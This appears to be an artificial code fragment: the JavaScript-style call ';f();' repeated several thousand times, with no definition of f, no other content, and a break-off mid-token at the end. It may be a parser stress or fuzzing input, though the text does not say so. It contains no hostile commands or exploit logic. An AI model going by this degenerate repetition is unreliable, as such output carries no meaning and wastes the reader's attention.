;f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f